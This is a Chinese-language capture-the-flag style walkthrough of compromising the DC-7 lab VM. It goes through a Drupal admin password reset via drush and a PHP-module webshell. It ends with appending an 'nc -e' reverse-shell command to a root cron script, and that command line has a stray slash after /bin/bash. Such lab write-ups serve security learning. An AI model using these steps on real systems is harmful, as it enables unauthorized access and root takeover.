一、搭建环境
解压靶机得到一个.ova文件
利用虚拟机打开文件,将网卡设置成NAT模式,启动虚拟机
二、渗透过程
直接在就看到了ip
扫描一下主机开启的服务和端口
nmap -sV -p- 192.168.88.171
开放了80http,22ssh服务
访问80http服务
查看到网页使用Drupal8
看到网页最下面好像看到了作者@DC7USER,尝试搜索一下,找到源码https://github.com/Dc7User/staffdb
查看配置文件config.php,看到账户和密码
拿着密码和账号尝试登录一下,可惜账户密码错误
想到还有ssh服务,登录试一下,登录成功
尝试直接提权,无法直接提权
家目录下有两个文件,进入backups查看到有两个文件,百度了解到gpg格式的是加密文件 ,且加密后文件内容都是乱码,查看mbox
发现在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh
查看一下/opt/scripts/backups.sh
查看到文件里面有个drush,查找资料了解到drush命令是drupal框架用来做一些配置的命令,可以用来修改用户名和密码,如果这个文件可写,那么直接就可以反弹shell提权了
drush user-password admin --password="123456"
发现并未成功,报错信息大致需要更高权限
查看一下/opt/scripts/backups.sh的权限呢
看到权限root和www-data,尝试在网页目录下修改密码试一下,修改成功
拿到网页登录账户和密码(admin,123456),尝试网页登录一下,成功登录
四处寻找一下漏洞,发现在Content => Add content =>Basic page处似乎可以写shell。
但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
如果下载不成功,本地下载再上传也可
看到有php模块了,勾选后拉到最后面点击install,php模块就激活好了,回到Basic page这里写shell。
选择php格式,写入一句话木马,并保存
使用蚁剑连接,查看到网页地址
下一部,提权
拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了。
尝试在文件里面追加
echo "nc -e /bin/bash/ 192.168.88.172 1234" >>backups.sh
成功写入
kali监听1234端口,等待任务执行反弹shell